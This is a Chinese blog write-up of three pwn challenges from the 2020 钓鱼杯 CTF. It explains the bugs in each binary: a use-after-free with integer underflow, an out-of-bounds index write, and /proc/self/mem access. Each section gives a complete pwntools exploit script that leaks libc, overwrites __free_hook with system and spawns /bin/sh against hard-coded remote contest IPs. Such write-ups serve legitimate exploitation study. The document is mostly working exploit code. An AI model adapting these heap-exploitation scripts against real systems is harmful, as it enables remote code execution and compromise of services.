2020-钓鱼杯

veryeasy

0x01 查看文件

保护全开,2.27 libc **考点:**2.27 double free,io file attack

0x02 IDA分析

标准的菜单题,有创建、编辑、删除,没有打印信息功能
创建功能,这里就是标准的创建信息,但是有个参数减一的操作
编辑功能,这也是个标准的编辑功能,没有漏洞,后面有个参数减一的操作
删除功能,我们可以看到这里有个UAF漏洞

0x03 思路

UAF漏洞,但是删除操作前会进行一个参数比较,delete参数为flag2,cretae和edit所用的参数是flag1,即:flag2<flag1。但是我们看到flag1是unsigned int,所以先一直分配将flag1变成负数,那么就可以无限删除了。

第一步:先不断create,将flag1参数下溢,就可以无限分配
第二步:利用double free,将某个chunk同时释放到unsorted bin和tcache中
第三步:利用UAF,将某个chunk的fd(此时有libc地址),改为21_IO_stdout_需要1/16爆破
第四步:IO file attak攻击泄露libc地址
第五步:再来一次Double free和UAF将malloc_hook改为system,执行delete(“/bin/sh”)

0x04 exp

#coding=utf-8
from pwn import *

context.log_level = "debug"

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims              :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
iat     = lambda                    :p.interactive()

debug = 0
if debug:
    p = process("./pwn4")
    elf = ELF("./pwn4")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
    p = remote("122.112.225.164",10001)
    elf = ELF("./pwn4")
    libc = ELF("./libc-2.27.so")


def create(index,size,content):
    sla("choice :","1")
    sla("id:\n",str(index))
    sla("size:\n",str(size))
    sa("content:\n",content)

def edit(index,content):
    sla("choice :","2")
    sla("id:\n",str(index))
    sa("content:\n",content)

def delete(index):
    sla("choice :","3")
    sla("id:",str(index))

def exp():
    create(0,0x80,"a"*0x80)
    create(1,0x80,"b"*0x80)
    create(2,0x80,"/bin/sh\x00")
    create(3,0x80,"b"*0x80)
    create(4,0x80,"b"*0x80)
    create(5,0x80,"b"*0x80)
    create(6,0x80,"b"*0x80)
    create(7,0x80,"b"*0x80)
    create(8,0x80,"/bin/sh\x00")
    create(9,0x80,"b"*0x80)

    delete(1)
    delete(0)
    delete(1)
    delete(0)
    delete(1)
    delete(2)
    delete(0)
    delete(0)
    # gdb.attach(p)
    edit(0,"\x60\xc7")
    # gdb.attach(p)

    create(10,0x80,"b"*0x80)
    create(11,0x80,p64(0xfbad1800)+p64(0)*3+'\x00')
    p.recv(8)
    libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7dd18b0+0x7ffff79e4000
    success("libc ==>"+str(hex(libc.address)))

    delete(0)
    delete(0)
    sla("choice :","2")
    sla("id:",str(0))
    sa("content:",p64(libc.symbols["__free_hook"]))


    sla("choice :","1")
    sla("id:",str(12))
    sla("size:",str(0x80))
    sa("content:","a")
    # gdb.attach(p)
    sla("choice :","1")
    sla("id:",str(13))
    sla("size:",str(0x80))
    sa("content:",p64(libc.symbols["system"]))

    delete(8)
    # gdb.attach(p)

while True:
    try:
        exp()
        p.interactive()
        p.close()
    except:
        p.close()
    if debug:
        p = process("./pwn4")
        elf = ELF("./pwn4")
        libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
    else:
        p = remote("122.112.225.164",10001)
        elf = ELF("./pwn4")
        libc = ELF("./libc-2.27.so")

known

0x01 查看文件

保护全开,2.27 libc **考点:** 越界读写、考到一些逆向的知识

0x02 IDA分析

这个题按照Q1lQ大佬的说法是由于运行前对函数地址进行了异或加密,如果将其还原就可以正常反编译看伪代码了,但目前还不知道怎么还原,一会儿请教征哥。

0x03 思路

漏洞是越界写,那么可以通过create一个index为负数的chunk,来将chunk地址写到size位置,那么几乎就等于无限溢出了。

第一步:通过越界写的时候将下一个chunk的size改为0x420,并删除(注意content不能为\x00,应该是top chunk的位置会检查size是否为空)

第二步:删除被修改size的chunk,产生libc地址,由于show的逻辑是没有遇到\x00就一直打印,所以从大chunk中切出来的小chun需要编辑一下再show出libc地址。

第三步:再溢出一次改fd为hook,就可以编辑hook来getshell了。

0x04 exp

#coding=utf-8
from pwn import *

context.log_level = "debug"

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims              :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
iat     = lambda                    :p.interactive()

debug = 1
if debug:
    p = process("./unknown")
    elf = ELF("./unknown")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
    p = remote("122.112.212.41",6666)
    elf = ELF("./unknown")
    libc = ELF("./libc-2.27.so")

def create(index,size):
    sla("choice: ","1")
    sla("Index: ",str(index))
    sla("Size: ",str(size))

def edit(index,content):
    sla("choice: ","2")
    sla("Index: ",str(index))
    p.send(content)

def show(index):
    sla("choice: ","3")
    sla("Index: ",str(index))

def delete(index):
    sla("choice: ","4")
    sla("Index: ",str(index))
create(5,0)
create(4,0)
create(-11,0)
payload = "a"*0x10+p64(0)+p64(0x421)+"b"*0x418+p64(0x21)+(p64(0)+p64(0x21))*8+"\n"
edit(5,payload)
delete(4)
create(4,0x20)
edit(4,"1\n")
show(4)
p.recvuntil("Content: ")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7dd0a31+0x7ffff79e4000

success("libc address ==> "+hex(libc.address))
delete(4)
edit(5,'a'*0x10+p64(0)+p64(0x31)+p64(libc.symbols["__free_hook"])+"\n")
create(4,0x20)
edit(4,"/bin/sh\x00"+"\n")
create(6,0x20)
edit(6,p64(libc.symbols["system"])+"\n")
delete(4)
# gdb.attach(p)
p.interactive()

fsplayground

0x01 查看文件

保护全开,libc 2.27 考点:/proc/self中的文件知识 ## 0x02 IDA分析
功能如图所示,打开、读取、写文件
但是不能对flag文件进行操作,那么就只能想办法getshell了
移动write/read的fd指针位置 **lseek是一个用于改变读写一个文件时读写指针位置的一个系统调用。指针位置可以是绝对的或者相对的。**

0x03 思路

首先需要补充一点知识:

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。

读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。

思路就有了:
第一步:通过读取/proc/self/maps来得到libc的地址
第二步:通过修改/proc/self/mem来修改进程的地址内容,也就是利用changeoffset函数找到free_hook的地址
第三步:改free_hook为system,在前面注意写/bin/sh,因为后面有个delete操作,可以直接getshell了

0x04 exp

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='i386',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./fsplayground')
libc_offset = 0x3c4b20
gadgets = [0x45226,0x4527a,0xcd173,0xcd248,0xf0364,0xf0370,0xf1207,0xf67b0]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
    p = process('./fsplayground')
else:
    p = remote('119.3.111.133',6666)

def Open(filename,option):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil("Filename: ")
    p.send(filename)
    p.recvuntil("Option: ")
    p.sendline(str(option))

def Read(sz):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil("Size: ")
    p.sendline(str(sz))

def Write(sz,content):
    p.recvuntil('choice:')
    p.sendline('5')
    p.recvuntil("Size: ")
    p.sendline(str(sz))
    p.recvuntil("Content: ")
    p.send(content)

def Seek(offset):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil("Offset: ")
    p.sendline(str(offset))

def Close():
    p.recvuntil('choice:')
    p.sendline('2')

def exp():

    Open("/proc/self/maps",0)
    Read(0x400)
    p.recvuntil("[heap]\n")
    libc_base = int(p.recvuntil("-",drop=True),16)
    log.success("libc base => " + hex(libc_base))
    libc.address = libc_base
    Close()
    Open("/proc/self/mem",1)
    Seek(libc.sym['__free_hook']-8)
    #gdb.attach(p,'b* 0x0000555555554000+0xf21')
    Write(0x10,'/bin/sh\x00'+p64(libc.sym['system']))
    p.interactive()
exp()

  Reprint policy: xiaoxin 2020-钓鱼杯

 Previous
2019-上海市大学生信息安全竞赛 2019-上海市大学生信息安全竞赛
Boring_heap0x01 查看文件 保护全开 考点:abs漏洞、overlapping 0x02 IDA分析创建:(指定三个size的大小:0x20、0x30、0x40)没什么漏洞 删除(无UAF)但是我们看到有abs函数,上网查
2020-08-30
Next 
2020-蓝帽杯-PWN 2020-蓝帽杯-PWN
0x00 前言参加了2020蓝帽杯的线上赛,成功被大佬带飞,如果再给点时间,PWN就AK了,P1umer师傅在比赛结束的15分钟做出了全场最少解的题目,tql! 0x01 camp查看文件 保护全开 IDA分析主函数: STDOUT功
2020-08-09
  TOC